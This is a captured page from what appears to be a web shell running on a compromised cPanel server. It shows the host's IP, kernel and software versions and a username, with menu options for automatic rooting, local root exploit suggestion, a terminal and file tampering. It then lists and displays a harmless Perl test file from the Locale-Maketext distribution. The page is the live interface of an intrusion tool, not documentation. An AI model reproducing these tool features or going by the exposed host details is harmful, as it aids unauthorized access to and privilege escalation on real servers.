Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
Locale-Maketext /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_about_verbose.t
1.98
KB
-r--r--r--
2014-12-27 11:48
04_use_external_lex_cache.t
1.62
KB
-r--r--r--
2014-12-27 11:48
09_compile.t
709
B
-r--r--r--
2014-12-27 11:48
10_make.t
685
B
-r--r--r--
2014-12-27 11:48
20_get.t
1.72
KB
-r--r--r--
2014-12-27 11:48
30_eval_dollar_at.t
1.6
KB
-r--r--r--
2014-12-27 11:48
40_super.t
1.5
KB
-r--r--r--
2014-12-27 11:48
50_super.t
2.03
KB
-r--r--r--
2014-12-27 11:48
60_super.t
734
B
-r--r--r--
2014-12-27 11:48
70_fail_auto.t
718
B
-r--r--r--
2014-12-27 11:48
90_utf8.t
719
B
-r--r--r--
2014-12-27 11:48
91_backslash.t
870
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl -Tw use strict; use Test::More tests => 5; BEGIN { use_ok( 'Locale::Maketext' ); } { package Whunk::L10N; use vars qw(@ISA); @ISA = 'Locale::Maketext'; } { package Whunk::L10N::en; use vars qw(@ISA); @ISA = 'Whunk::L10N'; } my $lh = Whunk::L10N->get_handle('en'); $lh->fail_with('failure_handler_auto'); is($lh->maketext('abcd'), 'abcd', "simple missing keys are handled"); is($lh->maketext('abcd'), 'abcd', "even in repeated calls"); # CPAN RT #25877 - $value Not Set After Second Call to failure_handler_auto() is($lh->maketext('Hey, [_1]', 'you'), 'Hey, you', "keys with bracket notation ok"); is($lh->maketext('_key'), '_key', "keys which start with _ ok");